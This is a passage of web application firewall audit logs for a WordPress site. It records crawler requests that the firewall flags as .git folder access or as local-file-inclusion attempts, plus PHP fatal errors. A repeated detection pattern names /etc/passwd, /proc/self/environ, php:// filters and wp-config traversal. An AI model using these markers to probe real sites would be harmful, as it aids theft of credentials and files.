rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"ad20cb91b2e65aba0bfd7e185739123d","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/b4/b785ed196497d67daf53f0a6fc931a8c1eb73f||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":209,"p2":4677,"p3":0,"p4":0,"p5":355,"sr":156,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:07:09:30.482579 +0100","transaction_id":"abOqGrC1B_6BYICFawvFIQAAAUE","remote_address":"57.141.20.52","remote_port":47906,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/harvest/?rename=/usr/base/usr/share/locale/sr/LC_MESSAGES/grep.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.52","X-Forwarded-Proto":"https","X-Request-Id":"e82f3ac12a1c3d29777a7d67fe7805f7","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"11469656"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2422>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"e82f3ac12a1c3d29777a7d67fe7805f7","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/sr/LC_MESSAGES/grep.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":284,"p2":4322,"p3":0,"p4":0,"p5":397,"sr":123,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:07:10:00.478676 +0100","transaction_id":"abOqOLC1B_6BYICFawvFcgAAAU8","remote_address":"57.141.20.37","remote_port":60466,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?dir=/sftproot/htdocs/sivaco/.git/objects/31 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.37","X-Forwarded-Proto":"https","X-Request-Id":"6b3472e7087b190d82f428e8a3573017","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"9898122"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"6b3472e7087b190d82f428e8a3573017","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?dir=/sftproot/htdocs/sivaco/.git/objects/31||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":411,"p2":6666,"p3":0,"p4":0,"p5":412,"sr":179,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:07:10:39.918459 +0100","transaction_id":"abOqXxLi46gS4DJVzjWknAAAAlM","remote_address":"114.119.154.203","remote_port":38654,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /shopdetail/195782851 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"114.119.154.203","X-Forwarded-Proto":"http","X-Request-Id":"22d56c2ac330b991a3341dfe9de9af26","X-L-Admin-Auth":"0","User-Agent":"Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"7702106","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","X-Orig-Rid":"22d56c2ac330b991a3341dfe9de9af26","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Cannot redeclare __() (previously declared in /htdocs/ptso.jmkconsulting-ci.com/wp-includes/l10n.php:306) in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/404.php on line 109'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":160,"p2":3097,"p3":0,"p4":0,"p5":313,"sr":90,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:07:10:45.806410 +0100","transaction_id":"abOqZWOvBHqXP6jl8arWbgAAAAs","remote_address":"57.141.20.32","remote_port":51946,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/harvest/?rename=/usr/base/usr/share/terminfo/t/tab132-w-rv HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.32","X-Forwarded-Proto":"https","X-Request-Id":"6a4086dff0445a85bdd68abcd1afff6f","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2099761"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2422>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"6a4086dff0445a85bdd68abcd1afff6f","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/t/tab132-w-rv||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":308,"p2":5809,"p3":0,"p4":0,"p5":333,"sr":141,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:07:10:48.769621 +0100","transaction_id":"abOqaBQsu-n2gr4PXlWlMAAAAQk","remote_address":"57.141.20.21","remote_port":51918,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/.wp-cli/cache-php-compat/themes/twentyfourteen/twentyfourteen.2.4.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.21","X-Forwarded-Proto":"https","X-Request-Id":"7d63e9c7a0cddc5f2d1c4eff3dc8b22e","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"6558044"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"7d63e9c7a0cddc5f2d1c4eff3dc8b22e","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/.wp-cli/cache-php-compat/themes/twentyfourteen/twentyfourteen.2.4.json||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":338,"p2":4255,"p3":0,"p4":0,"p5":237,"sr":109,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:07:11:00.841433 +0100","transaction_id":"abOqdLC1B_6BYICFawvGIAAAAU0","remote_address":"57.141.20.13","remote_port":33502,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/usr/share/terminfo/n/ncr160vt200wan HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.13","X-Forwarded-Proto":"https","X-Request-Id":"5477d866423053b97da7139c09e54e0f","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"9962372"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"5477d866423053b97da7139c09e54e0f","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/n/ncr160vt200wan||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":268,"p2":5498,"p3":0,"p4":0,"p5":357,"sr":119,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:07:11:09.932886 +0100","transaction_id":"abOqfezjYSjefEszC8yHwQAAAcE","remote_address":"57.141.20.27","remote_port":53998,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/24/83b11685a34beff4c255f8640074001d4558b3 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.27","X-Forwarded-Proto":"https","X-Request-Id":"fc13ea4022e14a40922cc715381915ca","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2099774"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"fc13ea4022e14a40922cc715381915ca","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/24/83b11685a34beff4c255f8640074001d4558b3||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":303,"p2":11326,"p3":0,"p4":0,"p5":330,"sr":223,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:07:13:12.329492 +0100","transaction_id":"abOq9xQsu-n2gr4PXlWmGgAAAQY","remote_address":"114.119.129.50","remote_port":33770,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /shopdetail/71725051 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"114.119.129.50","X-Forwarded-Proto":"http","X-Request-Id":"2b72a4af01bc87ff5314d9b89b22a2de","X-L-Admin-Auth":"0","User-Agent":"Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"8717618","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","X-Orig-Rid":"2b72a4af01bc87ff5314d9b89b22a2de","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Cannot redeclare __() (previously declared in /htdocs/ptso.jmkconsulting-ci.com/wp-includes/l10n.php:306) in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/404.php on line 109'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":291,"p2":6405,"p3":0,"p4":0,"p5":575,"sr":147,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:07:13:39.268077 +0100","transaction_id":"abOrErC1B_6BYICFawvG_QAAAU0","remote_address":"57.141.20.36","remote_port":58902,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/d6/2f3371b9a9d0b5ace6f0ee95b5eb2bfcc44ee4 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.36","X-Forwarded-Proto":"https","X-Request-Id":"863ef9cc9d76e506512b96e7e85793d1","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"5541664"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"863ef9cc9d76e506512b96e7e85793d1","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/d6/2f3371b9a9d0b5ace6f0ee95b5eb2bfcc44ee4||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":190,"p2":3762,"p3":0,"p4":0,"p5":304,"sr":99,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:07:16:16.862834 +0100","transaction_id":"abOrsBQsu-n2gr4PXlWnLAAAARQ","remote_address":"114.119.154.67","remote_port":56226,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /shopdetail/174843951 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"114.119.154.67","X-Forwarded-Proto":"http","X-Request-Id":"418547ce3b2d0b8bf75b8bf59d8efbca","X-L-Admin-Auth":"0","User-Agent":"Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"9307743","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","X-Orig-Rid":"418547ce3b2d0b8bf75b8bf59d8efbca","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Cannot redeclare __() (previously declared in /htdocs/ptso.jmkconsulting-ci.com/wp-includes/l10n.php:306) in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/404.php on line 109'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":257,"p2":4792,"p3":0,"p4":0,"p5":456,"sr":126,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:07:19:03.559867 +0100","transaction_id":"abOsVxLi46gS4DJVzjWncgAAAkQ","remote_address":"114.119.154.203","remote_port":47982,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /shopdetail/163759451 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"114.119.154.203","X-Forwarded-Proto":"http","X-Request-Id":"ba7775dc55bbbfefc2078ebd6e49a612","X-L-Admin-Auth":"0","User-Agent":"Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12092287","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","X-Orig-Rid":"ba7775dc55bbbfefc2078ebd6e49a612","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Cannot redeclare __() (previously declared in /htdocs/ptso.jmkconsulting-ci.com/wp-includes/l10n.php:306) in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/404.php on line 109'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":165,"p2":2967,"p3":0,"p4":0,"p5":323,"sr":94,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:07:25:32.806153 +0100","transaction_id":"abOt3FmBVxWGJzaI8WBL0QAAAZM","remote_address":"57.141.20.12","remote_port":49234,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/usr/share/locale/tt/LC_MESSAGES/iso_3166-1.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.12","X-Forwarded-Proto":"https","X-Request-Id":"31d733ae83ac5b81796ade91f2a30764","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"3836723"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"31d733ae83ac5b81796ade91f2a30764","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/tt/LC_MESSAGES/iso_3166-1.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":276,"p2":6078,"p3":0,"p4":0,"p5":404,"sr":132,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
